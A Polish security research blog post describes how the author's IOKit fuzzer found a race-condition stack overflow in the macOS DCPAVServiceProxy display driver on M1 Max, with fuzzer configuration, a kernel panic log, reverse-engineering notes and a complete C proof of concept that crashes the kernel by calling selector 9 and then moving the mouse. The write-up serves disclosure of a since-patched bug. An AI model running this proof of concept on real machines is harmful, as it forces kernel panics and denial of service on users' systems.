
Przepełnienie bufora (buffer overflow) to jedna z najniebezpieczniejszych podatności w systemach operacyjnych, która może prowadzić do całkowitego przejęcia kontroli nad systemem. W tym artykule przedstawię niezwykły przypadek przepełnienia bufora stosu w sterowniku wyświetlania macOS, które zostało wywołane prostym ruchem myszką podczas resetu połączenia HDMI.
Badanie przestrzeni jądra (ang. kernel space) w macOS na architekturze Apple Silicon stało się sporym wyzwaniem z powodu braku możliwości aktywnego debugowania. W przeciwieństwie do systemów opartych na Intelu nie można korzystać z konfiguracji dwumaszynowej (ang. Two-Machine Configuration), co komplikuje nie tylko analizę awarii i proces tworzenia exploitów, ale także samą detekcję błędów. Pisałem o tym wcześniej w artykule Kernel Debugging Setup on MacOS. Mimo tych ograniczeń stworzyłem fuzzer dla sterowników IOKit w macOS, którego obsługa jest prosta: wskazać cel, uruchomić fuzzer i czekać na awarię. Naiwne, ale działa – część wyników opisałem w poniższych publikacjach:
- Studium Przypadku: Denial of Service (DoS) sterownika IONVMeFamily w systemie macOS
- Studium przypadku: Dereferencja wskaźnika NULL w IOMobileFramebuffer
Tym razem jednak było inaczej. Początkowo nie pojawiały się żadne awarie – jedynie krótkie mignięcie ekranu. I szczerze mówiąc, gdyby nie odrobina szczęścia, w ogóle nie natrafiłbym na ten błąd.
Podatność przepełnienia bufora w macOS Display Driver
Błąd dotyczy systemów macOS w wersji 15.4.1 (BuildVersion 24E263) działających na sprzęcie Apple M1 Max. Nie udało mi się go odtworzyć na układzie M2, ponieważ DCP występuje wyłącznie w M1. Problem został usunięty w macOS Sequoia 15.6. Luka znajduje się w selektorze numer 9 usługi DCPAVServiceProxy, odpowiedzialnej za obsługę komunikacji z kontrolerem wyświetlacza.

Bezpośrednim skutkiem tej podatności jest lokalny atak typu Denial of Service, z możliwością eskalacji uprawnień do poziomu jądra.
W praktyce jest to odmiana warunku wyścigu, który umożliwia wywołanie przepełnienia bufora stosu.
Pierwsze odkrycie przepełnienia bufora
To właśnie najciekawsza część tej historii. Na błąd natrafiłem we wczesnym etapie budowania fuzzera, kiedy nie miałem jeszcze poprawnie zmapowanych rozmiarów metod zewnętrznych ani nawet nazw sterowników. Wtedy stosowałem podejście „YOLO” – wysyłałem do wszystkich usług sterowników dostępnych z przestrzeni użytkownika dane o znanych, skrajnych rozmiarach (0, 1, 127, 256, 1024 itd.). Obecnie proces wygląda już znacznie bardziej „należycie” – mam zmapowane nazwy i dopuszczalne rozmiary w pliku YAML, a fuzzer korzysta z danych w takim formacie:
AppleJPEGDriver:
0:
0: [0, 0, 0, 0]
1: [0, 88, 0, 88]
2: [0, 0, 0, 0]
3: [0, 88, 0, 88]
4: [0, 4096, 0, 4096]
5: [0, 4096, 0, 4096]
6: [0, 3488, 0, 3488]
7: [0, 3488, 0, 3488]
8: [0, 0, 0, 0]
9: [0, 0, 0, 0]
AppleNVMeEAN:
0:
0: [0, 0, 1, 0]
1: [0, 0, 0, 0]
2: [3, 0, 0, 0]
3: [1, 0, 1, 0]
4: [3, 0, 0, 0]
5: [1, 0, 0, 0]
6: [1, 0, 0, 0]
...Aktualny schemat pracy wygląda następująco:
- Wybrać sterownik (wcześniej rozmiary były losowe, co często powodowało odrzucenie danych już na etapie wstępnej walidacji).
- Skonfigurować cel ataku – np. nazwę usługi wraz z metodą zewnętrzną i rozmiarami in/out.
- Uruchomić fuzzera.
- Zająć się innymi sprawami.
- Poczekać na powiadomienie na Telegramie o awarii systemu.
- Zachować logi i dane wejściowe do późniejszej analizy.
- Powtórzyć proces.
Tym razem było inaczej. Zostawiłem komputer na kilka godzin i nie otrzymałem żadnego powiadomienia o awarii. Po powrocie zastałem czarny ekran, chociaż komputer nie był wyłączony. Początkowo uznałem, że to wygaszacz, ale przypomniałem sobie, że mam go wyłączonego. Ruch myszką ani naciskanie klawiszy nic nie dawały, więc zamknąłem pokrywę MacBooka i ponownie ją otworzyłem. Ku mojemu zdziwieniu pojawił się ekran logowania – bez restartu systemu. Było to dziwne: nie wyglądało to na klasyczny crash, a raczej na problem z wyświetlaniem, który spowodował wygaszenie ekranu i „zamrożenie” systemu. Postanowiłem uruchomić fuzzera ponownie, tym razem celując wyłącznie w sterowniki związane z wyświetlaniem, takie jak AppleJPEGDriver czy DCPAVServiceProxy.
Po około 15 sekundach ekran mignął – wyłączył się i po chwili ponownie włączył. Tym razem system się nie zawiesił. Ale skąd te mignięcia?
Przepełnienie Bufora w Mgnieniu Oka;
Chciałem ustalić, która dokładnie metoda i w jakim sterowniku powoduje ten efekt „mignięcia” ekranu, więc wydzieliłem z fuzzera logikę wysyłania payloadów i stworzyłem narzędzie IOVerify, które pozwalało mi ręcznie testować każdy sterownik:
Usage: IOVerify -n <name> (-m <method> | -y <spec>) [options]
Options:
-n <name> Target driver class name (required).
-t <type> Connection type (default: 0).
-m <id> Method selector ID.
-y <spec> Specify method and buffer sizes in one string.
Format: "ID: [IN_SCA, IN_STR, OUT_SCA, OUT_STR]"
Example: -y "0: [0, 96, 0, 96]"
-p <string> Payload as a string.
-f <file> File path for payload.
-b <hex_str> Space-separated hex string payload.
-i <size> Input buffer size (ignored if -y is used).
-o <size> Output buffer size (ignored if -y is used).
-s <value> Scalar input (uint64_t). Can be specified multiple times.
-S <count> Scalar output count (ignored if -y is used).
-h Show this help message.Proces był żmudny, bo dla każdej usługi musiałem odtworzyć tablicę dispatcherów, sprawdzić prawidłowe rozmiary metod za pomocą IOVerify, a następnie uzupełnić plik YAML. W trakcie tych testów ekran mojego Maca znów mignął – tym razem nie od razu, lecz po około 10 sekundach, gdy sprawdzałem ostatni selektor w IOAVServiceUserClient, czyli numer 9. W logach pojawił się rzadko spotykany kod zwrotny jądra dotyczący przepustowości magistrali:
<code>❯ IOVerify -n DCPAVServiceProxy -y "9: [0,0,0,0]"
Starting verification for driver: DCPAVServiceProxy
--- [VERIFY] Event Log ---
Driver: DCPAVServiceProxy
Connection Type: 0
Method Selector: 9
Result: 0xe00002ec ((iokit/common) bus bandwidth would be exceeded)
--- Scalar I/O ---
Scalar In Cnt: 0
Scalar Out Cnt: 0
--- Structure I/O ---
Input Size: 0 bytes
Input Data:
[empty]
Output Size: 0 bytes
Output Data:
[empty]
--- End of Log ---</code>Co ciekawe, tym razem system macOS spanikował (ang. panic). W logu paniki znalazła się informacja o „Data Abort” i „Possible stack overflow” w module IOFrameMobileDriver (iomfb_driver):
<code>panic(cpu 1 caller 0xfffffe001bb7af78): DCP DATA ABORT pc=0x0000000000521494 Exception class=0x25 (Data Abort taken without a change in Exception level), IL=1, iss=0x4 far=0x00000000e6a41001 - iomfb_driver(11)
RTKit: RTKit-2784.100.168.release - Client: AppleDCP-811.100.97~942-t600xdcp.RELEASE
!UUID: a1000010-2140-1ed5-a178-80d201401ed5
ASLR slide: 0x00000000003ad000
Time: 0x00000000e6a41384
Faulting task stack frame:
Wrong frame size for ARMv8. Got 840 bytes, expected 828
pc=0x0000000000521494 Exception class=0x25 (Data Abort taken without a change in Exception level), IL=1, iss=0x4 far=0x00000000e6a41001
r00=000000000000000000 r01=0x683c30e9263ce894 r02=0x0000000000000010 r03=0x0000000000000037
r04=0x0000000000000001 r05=0x00000000ffffffff r06=0x000000000000004b r07=0x0000000000000001
r08=0x0000000000e42000 r09=0x0000000000000002 r10=000000000000000000 r11=0xffffffff410eb1b8
r12=000000000000000000 r13=0x0000000000000001 r14=0x0000000000000001 r15=000000000000000000
r16=0x00000000003c13ec r17=0x00000000003c1364 r18=000000000000000000 r19=0x00000000e6a40fc9
r20=0x00000000000000c3 r21=0x0000000000e3cbd8 r22=000000000000000000 r23=000000000000000000
r24=0x0000000000180000 r25=0x0000000000000017 r26=0xffffffff004c8000 r27=0x0000000000000018
r28=0x0000000000000018 r29=0x0000000026ceaab6
sp=0xffffffff410e6e10 lr=0x883d71a0d8521494 pc=0x0000000000521494 psr=0x20000004
psr=0x20000004 cpacr=0x300000 fpsr=0x000011 fpcr=00000000
Faulting task 11 Call Stack: 0x0000000000521494 0x000000007fffff03 000000000000000000
RTKit Task List:
name | pri | stack use | status | resource | warning
0 rtk_background | 007 | 832/2048 | SEMWAIT | 0xe15770 |
0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818
1 rtk_ep_work | 057 | 904/2048 | SEMWAIT | 0xe11d80 |
0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818
2 log_tx | 007 | 608/2048 | SEMWAIT | 0xdfe8c0 |
0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818
3 log_flush | 015 | 928/4096 | SEMWAIT | 0xdfdc60 |
0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003d4d80 0x00000000003c1818
4 tracekit_work | 007 | 592/4096 | SEMWAIT | 0xdfb790 |
0x00000000003c0ce0 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818
5 power | 000 | 1440/65536 | RUNNABLE | 0xbe15e8 |
0x00000000003c0c9c 0x00000000003cd1f0 0x00000000003ccf10 0x00000000003c1818
6 Terminator | 015 | 416/2048 | SEMWAIT | 0xde9e60 |
0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818
7 main | 015 | 6672/40960 | SEMWAIT | 0xde5170 |
0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003bb2f4 0x00000000003bd86c
8 dcpexpert | 015 | 240/16368 | SEMWAIT | 0xffffffff0c011f40 |
0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818
9 AFKMailboxEndpoint | 015 | 688/16368 | SEMWAIT | 0xffffffff0c031f40 |
0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818
10 rtkitpmgr | 015 | 240/16368 | SEMWAIT | 0xffffffff0c051f40 |
0x00000000003c0c9c 0x00000000003c1cd0 0x00000000003ce420 0x00000000003c1818
11 iomfb_driver | 016/018 | 16384/16384 | RUNNABLE | 0 | [Faulting task][Possible stack overflow]</code>Dlaczego tym razem skończyło się to paniką systemu? Nie wprowadzałem żadnych zmian, a mimo to pojawiło się przepełnienie stosu. Co więcej – nie wysyłałem nawet żadnych danych do sterownika.
Odpowiedź na to pytanie zajęła mi kilka dni prób odtworzenia błędu i kolejnych testów.
Reverse engineering IOAVFamily
IOAVFamily to klasa sterownika jądra macOS związana z obsługą funkcji audio i wideo. Kod DCPAVServiceProxyUserClient pokazuje, że korzysta ona z interfejsów tej klasy:

Po przeanalizowaniu odwołań można zobaczyć metody zewnętrzne udostępniane przez tę usługę:

Idąc dalej i używając skryptu format_externalmethods.py w IDA, udało się zidentyfikować selektor 9:

Ostatecznie, po prześledzeniu jego odwołań, można zobaczyć implementację funkcji:

A właściwie nie do końca – w tym miejscu wykorzystywana jest „magia” arytmetyki wskaźników, aby wywołać metodę DCPAVServiceProxy::retrainFRL poprzez tablicę wirtualną (vtable). Stojący za tym kod znajduje się tutaj:

RetrainFRL w macOS wysyła do sterownika sprzętowego z góry ustaloną wiadomość, prawdopodobnie wymuszając ponowną negocjację połączenia FRL. Funkcja tworzy komunikat z trzema polami o stałych wartościach i przekazuje go do metody __sendMessage, która wysyła go dalej. Kod po __sendMessage jest bardzo złożony, ale w kontekście selektora 9 nie mamy na niego bezpośredniego wpływu – nie możemy bowiem przekazać żadnych danych wejściowych. W praktyce funkcja ta wymusza, aby macOS ponownie negocjował połączenie HDMI 2.1 z wyświetlaczem w celu uzyskania lepszego lub stabilniejszego sygnału. I właśnie dlatego ekran miga.
Ale dlaczego pojawia się kernel panic i przepełnienie bufora? To musiał być jakiś race condition.
Race condition prowadzący do przepełnienia bufora
Próbowałem fuzzować inne metody różnych sterowników związanych z obsługą ekranu w tym samym czasie, gdy wywoływałem selektor 9, ale żaden z nich nie powodował awarii. Potem zacząłem wysyłać tę samą prośbę do wielu sterowników przez cały czas trwania „okna migania” – około 12 sekund – próbując „złapać” ten moment. Nie ograniczałem się wyłącznie do metod zewnętrznych – testowałem też inne kanały komunikacji IOKit, na przykład modyfikowanie właściwości sterownika. Założenie było proste: w czasie migania wchodzić w interakcję z innymi sterownikami IOKit.
Po kilku dniach testów byłem już bliski poddania się, gdy przypomniałem sobie o pierwszym „zamrożeniu” systemu i tym, że musiałem zamknąć pokrywę MacBooka, żeby „zresetować” ten stan. Podczas całego procesu korzystałem z różnych konfiguracji sprzętowych – i trochę wstyd się przyznać, w jaki sposób traktowałem swój laptop, próbując wymusić awarię. W końcu, zrezygnowany i sfrustrowany, uruchomiłem funkcję 9 po raz ostatni i zacząłem kręcić myszką kółka. Ku mojemu zdumieniu – system się wysypał.
Nie mogłem w to uwierzyć – czy to możliwe, że ruchy myszką w trakcie migania ekranu naprawdę spowodowały crash?
Okno czasowe
Zacząłem analizować logi, aby zobaczyć, co dokładnie dzieje się w tym momencie, i oto podsumowanie:

W skrócie – w momencie „mignięcia” interfejs wideo zostaje zamknięty, a tuż po tym wchodzi do gry IOFrame Mobile Driver. To w pełni pokrywa się z danymi z logów panic. Moje założenia:
- Sterownik jednocześnie wykonuje reset (czyszczenie starego stanu)
- I próbuje przetwarzać nowe aktualizacje obrazu
- Proces resetu uszkadza stos, powodując przepełnienie bufora
- Zapis nowych danych obrazu nadpisuje już uszkodzony stos
Drugim pomysłem na odtworzenie awarii było odtworzenie wideo Fast colour changing screen – 80 i to zadziałało. Potwierdziło to, że istnieje race condition wynikające z obsługi bufora Frame Mobile.
Proof of Concept Ataku Przepełnienie Bufora
Aby samodzielnie odtworzyć błąd:
- Wywołaj selektor 9 na
DCPAVServiceProxyz rozmiarami input, inputStruct, output i outputStruct ustawionymi na 0. - Poczekaj około 10 sekund, aż pojawi się „mignięcie” ekranu.
- W tym momencie zacznij szybko zmieniać zawartość ekranu – na przykład wykonuj intensywne ruchy myszą lub odtwarzaj wideo z bardzo dynamicznymi zmianami kolorów.
Uwaga: w tym PoC mysz kręci się w kółko, aby przepełnić stos!
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <math.h>
#include <IOKit/IOKitLib.h>
#include <ApplicationServices/ApplicationServices.h>
#include <mach/mach_error.h>
//clang DCPAVServiceProxy_0_9_blink_mouse_crash.c -framework IOKit -framework CoreGraphics -framework ApplicationServices -o poc
int main(void) {
kern_return_t kr;
io_service_t service = IOServiceGetMatchingService(kIOMainPortDefault,
IOServiceMatching("DCPAVServiceProxy"));
if (service == IO_OBJECT_NULL) {
fprintf(stderr, "[-] DCPAVServiceProxy not found\n");
return 1;
}
io_connect_t conn = MACH_PORT_NULL;
kr = IOServiceOpen(service, mach_task_self(), 0, &conn);
IOObjectRelease(service);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] IOServiceOpen failed: %s\n", mach_error_string(kr));
return 1;
}
// Call selector 9 (no input, no output)
kr = IOConnectCallMethod(conn, 9, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] IOConnectCallMethod (selector 9) failed: %s\n", mach_error_string(kr));
// Even if this call fails, we continue to simulate mouse movement.
} else {
printf("[*] Called selector 9 successfully.\n");
}
// Now simulate mouse movement for approximately 15 seconds.
// Get the current mouse location.
CGPoint initialPoint;
{
CGEventRef tempEvent = CGEventCreate(NULL);
initialPoint = CGEventGetLocation(tempEvent);
CFRelease(tempEvent);
}
printf("[*] Waiting 9 seconds...\n");
sleep(9);
printf("[*] Simulating mouse movement for 5 seconds...\n");
CFAbsoluteTime startTime = CFAbsoluteTimeGetCurrent();
while (CFAbsoluteTimeGetCurrent() - startTime < 5.0) {
// Oscillate the mouse position slightly.
double t = CFAbsoluteTimeGetCurrent() - startTime;
CGPoint newPoint;
newPoint.x = initialPoint.x * 0 + 200 * sin(2 * M_PI * t);
newPoint.y = initialPoint.y * 0 + 200 * cos(2 * M_PI * t);
CGEventRef moveEvent = CGEventCreateMouseEvent(NULL, kCGEventMouseMoved, newPoint, kCGMouseButtonLeft);
CGEventPost(kCGHIDEventTap, moveEvent);
CFRelease(moveEvent);
//usleep(50000); // Sleep 50 ms (about 20 events per second)
}
IOServiceClose(conn);
printf("[*] PoC finished.\n");
return 0;
}Przyznam szczerze - to jeden z najgłupszych PoC, jakie zrobiłem, ale działa i demonstruje przepełnienie bufora stosu.
Na zakończenie
Raport znalazł się w sekcji Additional recognition Apple, a błąd został załatany w macOS Sequoia 15.6. Nie otrzymał numerów CVE, co przy stack buffer overflow jest pewnym zaskoczeniem. Apple uzasadniło to brakiem możliwości praktycznego wykorzystania błędu – według nich był to nie możliwy do wykorzystania recursion stack overflow. Poprosili o dodatkowe szczegóły, ale aktualnie analiza tego typu błędów bez debuggera jest zbyt uciążliwa, nie mówiąc już o opracowaniu stabilnego exploita jądra – szczególnie gdy mamy do czynienia z wyścigiem zasobów.
Mam nadzieję, że pewnego dnia lldb znów rozbłyśnie w kernelu macOS. Zabawa byłaby o wiele większa.
Referencje
Więcej informacji o mapowaniu sterowników można znaleźć w przewodniku, który napisałem w specjalnym, 40-leciu wydania magazynu Phrack, który wkrótce będzie dostępny online, a także:




